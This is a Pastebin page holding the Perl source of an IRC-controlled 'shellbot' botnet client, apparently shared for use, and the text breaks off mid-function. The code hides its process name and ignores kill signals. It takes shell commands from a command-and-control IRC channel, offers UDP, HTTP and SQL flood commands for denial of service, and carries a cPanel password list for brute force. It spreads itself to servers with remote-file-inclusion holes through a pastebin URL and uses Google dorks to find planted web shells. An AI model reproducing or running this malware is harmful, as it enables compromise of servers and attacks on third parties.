API tools faq
paste
Advertisement
sirnon

Sh3ll

sirnon
May 2nd, 2012
404
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.21 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #system 'cd /tmp;rm -rf *';
  3. #
  4. # Mizok Bot V3.2 PRiVaTE Sh3llBoT
  5. #
  6. # Last edited : 12/2/2010
  7. #
  8. #[@[PitBull Bot V5 Commands List]@]
  9. #[@-----[Shellbot/Hacking Based]-----@]
  10. #!bot @admins
  11. #!bot @spread
  12. #!bot @milw0rm
  13. #!bot @packetstorm
  14. #!bot @portscan
  15. #!bot @logcleaner
  16. #!bot @md5
  17. #!bot @sendmail
  18. #!bot @vnc
  19. #!bot @boxip
  20. #!bot @socks5
  21. #!bot @cleartmp
  22. #!bot @portchk
  23. #!bot @proxy
  24. #!bot @rootable
  25. #!bot @modules
  26. #!bot @cpanel
  27. #!bot @visit
  28. #!bot @shellfind
  29. #[@-----[IRC Based]-----@]
  30. #!bot @join <#channel>
  31. #!bot @part <#channel>
  32. #!bot @quit
  33. #!bot @voice
  34. #!bot @devoice
  35. #!bot @halfop
  36. #!bot @dehalfop
  37. #!bot @op
  38. #!bot @deop
  39. #!bot @owner
  40. #!bot @deowner
  41. #[@-----[DDos Based]-----@]
  42. #!bot @udpflood
  43. #!bot @httpflood
  44. #!bot @sqlflood
  45. #[@-----[Flooding Based]-----@]
  46. #!bot @msgflood
  47. #!bot @dccflood
  48. #!bot @ctcpflood
  49. #!bot @noticeflood
  50. #!bot @channelflood
  51. #!bot @maxiflood
  52. #[@[PitBull Bot V5 Commands List]@]
  53. #
  54. # Sh3llBoT
  55. #
  56. ######################
  57. #print " After installation, Linux requires configuration and systems administration. Corporate systems need monitoring, backups, updates, as well as system and user management. Ubuntu (apt), CentOS, Fedora and Red Hat (rpm/YUM) server and desktop systems adminstration are covered by this script. Please dont exit the script or it will result in a broken linux partition";
  58. ######################
  59. # Specify your data:
  60. #--------------------------------------------------------------#
  61. my $max_lines= '10';
  62. my $sleeping= '3';
  63. my $prefix = "shellbot"; # "!" is included :)
  64. my $spread = "http://pastebin.com/raw.php?i=V0pLXHRy";
  65. my @admins = ("non");
  66. my @hostauth= ("Vicktor.ro");
  67. #--------------------------------------------------------------#
  68. $server= 'irc.byroe.net' unless $server;
  69. my $port= '6667';
  70. my @channel= ("#non");
  71. my @nickname = ("XDCC|");
  72. my $nick = $nickname[rand scalar @nickname];
  73. my $ircname = 'xdcc';
  74. chop (my $realname = "VickT');
  75. #--------------------------------------------------------------#
  76. my $httpmodule;
  77. my $usermodule;
  78. my $lwpmodule;
  79. my $filemodule;
  80. #--------------------------------------------------------------#
  81. my @cpanelpasswds = ("1","12","967qeikt","123","1234","12345","123456","1234567","12345678","123456789","1234567890","admin","root",
  82. "pass","passwd","password","Pass","Passwd","PassWd","PassWord","pwd","login","Admin","admin","test","123123","1212",
  83. "12341234","zxcvbnm","zxcvbn","zxcvb","zxcv","zxc","q1w2e3r4","q1w2e3","q1w2e3r4t5","1q2w3e4r5t","1q2w3e4r","1q2w3e",
  84. "demo","morgan","ferrari","italia","usa","clinton","dart","call","asdf","asdfg","asdfgh","qazwsx","qazxsw","qwertyu",
  85. "qwertyuiop","qwertyuio","qwertyu","qwerty","qwert","qwer","james","hosting","temp","test1","test12","test123","tester",
  86. "testing","cpanel","default","Login","admin.","cpanels","web","master","webmaster","dark","support","darby","mail",
  87. "dick","mary","evil","nissan","toyota","kingkong","superman","super","supra","data","service","server","weed","abc",
  88. "abc123","hello","terror","binladen","europe","website","mypass","pass1","pass12","pass123","pass1234","passwd1");
  89. #--------------------------------------------------------------#
  90. # End here :)
  91.  
  92. $SIG{'INT'} = 'IGNORE';
  93. $SIG{'HUP'} = 'IGNORE';
  94. $SIG{'TERM'} = 'IGNORE';
  95. $SIG{'CHLD'} = 'IGNORE';
  96. $SIG{'PS'} = 'IGNORE';
  97.  
  98. eval "use HTTP::Request;"; if ($@) {
  99. $httpmodule= " 4No";
  100. }
  101. else{
  102. $httpmodule= " 4Yes";
  103. }
  104.  
  105. eval "use LWP::UserAgent;"; if ($@) {
  106. $usermodule= " 4No";
  107. }
  108. else{
  109. $usermodule= " 4Yes";
  110. }
  111.  
  112. eval "require LWP;"; if ($@) {
  113. $lwpmodule= " 4No";
  114. }
  115. else{
  116. $lwpmodule= " 4Yes";
  117. }
  118.  
  119. eval "use FileHandle;"; if ($@) {
  120. $filemodule= " 4No";
  121. }
  122. else{
  123. $filemodule= " 4Yes";
  124. }
  125.  
  126.  
  127. use IO::Socket;
  128. use Socket;
  129. use IO::Select;
  130. chdir("/");
  131.  
  132. #Connect
  133. $server="$ARGV[0]" if $ARGV[0];
  134.  
  135. # Real psx! - by xeQt.
  136. my $uid=`id -u`;
  137. if ($uid =~ /^0$/)
  138. {
  139. $0=$xeQters."\0"x16;;
  140. chdir($rootpath);
  141. }
  142. else
  143. {
  144. @processer=`ps x|grep -E "http|httpd|apache|apache2|mysql|postgrep|smbd"`; # Grab from real ps!
  145. foreach $lines (@processer)
  146. {
  147. if (($lines =~ /\/(.+)/)&&($lines !~ /grep/i)&&($lines !~ /perl/i))
  148. {
  149. if (($lines!~/wget/i)&&($lines!~/curl/i)&&($lines!~/fetch/i)&&($lines!~/GET/i)&&($lines!~/lwp-download/i))
  150. {
  151. $bg=$1;
  152. }
  153. }
  154. if (($bg =~ /^\//i) || ($bg =~ /^\/\//i) || ($bg =~ /^[.+?]$/i))
  155. {
  156. $bg="$bg";
  157. }
  158. else
  159. {
  160. $bg="/$bg";
  161. }
  162. if ((length($bg) <= 3) || ($bg =~ /.txt$/i)) { $bg=$fakeps[rand scalar @fakeps]; } $0="$bg"."\0"x16;; chdir($userpath); } } my $pid=fork; exit if $pid; die "Error: Fork(): $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new();
  163. $sel_cliente = IO::Select->new();
  164. sub sendraw {
  165. if ($#_ == '1') {
  166. my $socket = $_[0];
  167. print $socket "$_[1]\n";
  168. } else {#342
  169. print $IRC_cur_socket "$_[0]\n";
  170. }
  171. }
  172.  
  173. sub conectar {
  174. my $meunick = $_[0];
  175. my $server_con = $_[1];
  176. my $port_con = $_[2];
  177. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  178. PeerPort=>$port_con) or return(1);
  179. if (defined($IRC_socket)) {
  180. $IRC_cur_socket = $IRC_socket;
  181. $IRC_socket->autoflush(1);
  182. $sel_cliente->add($IRC_socket);
  183. $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  184. $irc_servers{$IRC_cur_socket}{'porta'} = "$port_con";
  185. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  186. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  187. nick("$meunick");
  188. sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  189. sleep 1;
  190. }
  191. }
  192.  
  193. my $line_temp;
  194. while( 1 ) {
  195. while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  196. delete($irc_servers{''}) if (defined($irc_servers{''}));
  197. my @ready = $sel_cliente->can_read(0);
  198. next unless(@ready);
  199. foreach $fh (@ready) {
  200. $IRC_cur_socket = $fh;
  201. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  202. $nread = sysread($fh, $msg, 4096);
  203. if ($nread == 0) {
  204. $sel_cliente->remove($fh);
  205. $fh->close;
  206. delete($irc_servers{$fh});
  207. }
  208. @lines = split (/\n/, $msg);
  209. for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.31 The_PitBull\001"); } if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth ) { if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #-#-#-#-#-#-#-#-# # PREFIX # #-#-#-#-#-#-#-#-# if ($args =~ /^(\Q$meunick\E|\!$prefix)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } #-#-#-#-#-#-#-#-# # NICKNAME OPT.# #-#-#-#-#-#-#-#-# elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@channel) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { #-#-#-#-#-#-#-#-# # Commands # #-#-#-#-#-#-#-#-# # Show commands of the bot. if ($funcarg =~ /^commands/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] "); sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Shellbot/Hacking Based]----- 4@ 12 ] "); sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1admins "); sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1spread ");
  210. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1milw0rm ");
  211. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1packetstorm ");
  212. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portscan ");
  213. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1logcleaner ");
  214. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1md5 ");
  215. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sendmail ");
  216. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1vnc ");
  217. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1boxip ");
  218. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1socks5 ");
  219. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cleartmp ");
  220. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portchk ");
  221. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1proxy ");
  222. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1rootable ");
  223. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1modules ");
  224. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cpanel ");
  225. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1visit ");
  226. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1shellfind ");
  227. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[IRC Based]----- 4@ 12 ] ");
  228. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1join <#channel> ");
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1part <#channel> ");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1quit ");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1voice ");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1devoice ");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1halfop ");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dehalfop ");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1op ");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1deop ");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[DDos Based]----- 4@ 12 ] ");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1udpflood ");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1httpflood ");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sqlflood ");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Flooding Based]----- 4@ 12 ] ");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1msgflood ");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dccflood ");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1ctcpflood ");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1noticeflood ");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1channelflood");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1maxiflood ");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] ");
  249. }
  250.  
  251. # Shell finder based on the code of DiA/RRLF.
  252. if ($funcarg =~ /^shellfind\s+(.*)/) {
  253. my $type=$1;
  254. my @searchTerm;
  255. my @checkTerm;
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Started for finding 4 ".$type." 12shell ");
  257. if($type eq "r57") {
  258. push(@searchTerm, "inurl:r57.php");
  259. push(@searchTerm, "\"[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]\"");
  260. push(@searchTerm, "intitle:r57shell");
  261. push(@checkTerm, "r57");
  262. push(@checkTerm, "safe_mode");
  263. }
  264. elsif($type eq "c99") {
  265. push(@searchTerm, "inurl:c99.php");
  266. push(@searchTerm, "\"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout\"");
  267. push(@searchTerm, "intitle:\" - phpshell\"");
  268. push(@searchTerm, "intitle:\" - c99shell\"");
  269. push(@checkTerm, "c99");
  270. push(@checkTerm, "Safe-mode");
  271. }
  272. elsif($type eq "mys") {
  273. push(@searchTerm, "\"Auto error traping enabled\"");
  274. push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\"");
  275. push(@checkTerm, "MyShell");
  276. push(@checkTerm, "Echo commands");
  277. }
  278. elsif($type eq "phs") {
  279. push(@searchTerm, "intitle:\"PHP Shell 1.5\"");
  280. push(@searchTerm, "intitle:\"PHP Shell 1.6\"");
  281. push(@searchTerm, "intitle:\"PHP Shell 1.7\"");
  282. push(@searchTerm, "\"Enable stderr-trapping?\"");
  283. push(@checkTerm, "PHP Shell");
  284. push(@checkTerm, "Choose new working");
  285. }
  286. elsif($type eq "phm") {
  287. push(@searchTerm, "\"PHPShell by Macker\"");
  288. push(@searchTerm, "\"[ Main Menu ] [ PHPKonsole ] [ Haxplorer ]\"");
  289. push(@checkTerm, "Haxplorer");
  290. push(@checkTerm, "PHPKonsole");
  291. }
  292. elsif($type eq "rem") {
  293. push(@searchTerm, "intitle:\"phpRemoteView: \"");
  294. push(@searchTerm, "\"REMVIEW TOOLS\"");
  295. push(@checkTerm, "phpRemoteView");
  296. push(@checkTerm, "perms");
  297. }
  298.  
  299. my $userAgent = LWP::UserAgent->new;
  300. $userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");
  301.  
  302. my @resultLinks;
  303.  
  304. foreach(@searchTerm) {
  305. my $isLastPage = 0;
  306. for(my $gPage = 0; ; $gPage++) {
  307. if($isLastPage == 1) { last; }
  308.  
  309. my $gRequest = HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0");
  310. my $gResource = $userAgent->request($gRequest);
  311.  
  312. if($gResource->is_success) {
  313. my @gContent = split("
  314. ", $gResource->content);
  315. if(@gContent < 10) { $isLastPage = 1; }; for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) { my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6); $shellLink = substr($shellLink, 0, index($shellLink, "\"")); my $sRequest = HTTP::Request->new(GET => $shellLink);
  316. my $sResource = $userAgent->request($sRequest);
  317.  
  318. if($sResource->is_success) {
  319. if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] 4 [".$type."] 12Link: 4 ".$shellLink." ");
  321.  
  322. }
  323. }
  324. }
  325. sleep 20; #wait 20 seconds so google dont think we are a bot
  326. } else {
  327. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Google blacklisted! ");
  328. }
  329. }
  330. }
  331.  
  332. }
  333.  
  334. # Show admins of the bot.
  335. if ($funcarg =~ /^admins/) {
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Admins 12] The Admins of the bot are : 4 @admins ");
  337. }
  338.  
  339. # ModuleCheck to c wich we are using
  340. if ($funcarg =~ /^modules/) {
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] HTTP::Request: ".$httpmodule." ");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP::Useragent: ".$usermodule." ");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP: ".$lwpmodule." ");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] FileHandle: ".$filemodule." ");
  345. }
  346.  
  347. # URL Visitor
  348. if ($funcarg =~ /^visit\s+(.*)/) {
  349. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visiting");
  350. my $side=$1;
  351. my $set = fix_url($side);
  352. if (my $pid = fork) { waitpid($pid, 0); }
  353. else { if (fork) { exit; }
  354. else {
  355. eval "use HTTP::Request;"; if ($@) {
  356. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] HTTP::Request not found ");
  357. }
  358. eval "use LWP::UserAgent;"; if ($@) {
  359. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] LWP::UserAgent not found ");
  360. }
  361. my $siden=fix_url($side);
  362. my $req=HTTP::Request->new(GET=>$siden);
  363. my $ua=LWP::UserAgent->new();
  364. $ua->timeout(10);
  365. my $response=$ua->request($req);
  366. my $mrx=$response->content;
  367. if ($response->is_success) {
  368. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visited 4 ".$siden.".");
  369. }
  370. else {
  371. sendraw($IRC_cur_socket, "PRIVMSG $printl :Error: ".$siden."");
  372. }
  373. }
  374. exit;
  375. }
  376. }
  377.  
  378. # Spread the bot on a rfi. Make sure that your $spread is configured right !.
  379. if ($funcarg =~ /^spread\s+(.*)/) {
  380. $vuln = $1;
  381. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Spreading bot on : 4 $vuln");
  382. my $shellurl="http://".$vuln.$spread."?";
  383. my $reqz=HTTP::Request->new(GET=>$shellurl);
  384. my $ua=LWP::UserAgent->new();
  385. my $response=$ua->request($reqz);
  386. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Bot is Spreaded on : 4 $vuln");
  387. }
  388.  
  389. # MD5 Decrypter by my friend iNs ;).
  390. if ($funcarg =~ /^md5\s+(.*)/) {
  391. &ice($printl,$1);
  392. &gdata($printl,$1);
  393. &redn($printl,$1);
  394. &xpz($printl,$1);
  395. &ben($printl,$1);
  396. &alim($printl,$1);
  397. &cry($printl,$1);
  398. }
  399.  
  400. # Get the latest bugs from milw0rm.
  401. if ($funcarg =~ /^milw0rm/) {
  402. my @ltt=();
  403. my @bug=();
  404. my $x;
  405. my $page="";
  406. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  407. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  408. my @r = <$socke>;
  409. $page="@r";
  410. close($socke);
  411. while ($page =~ m/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!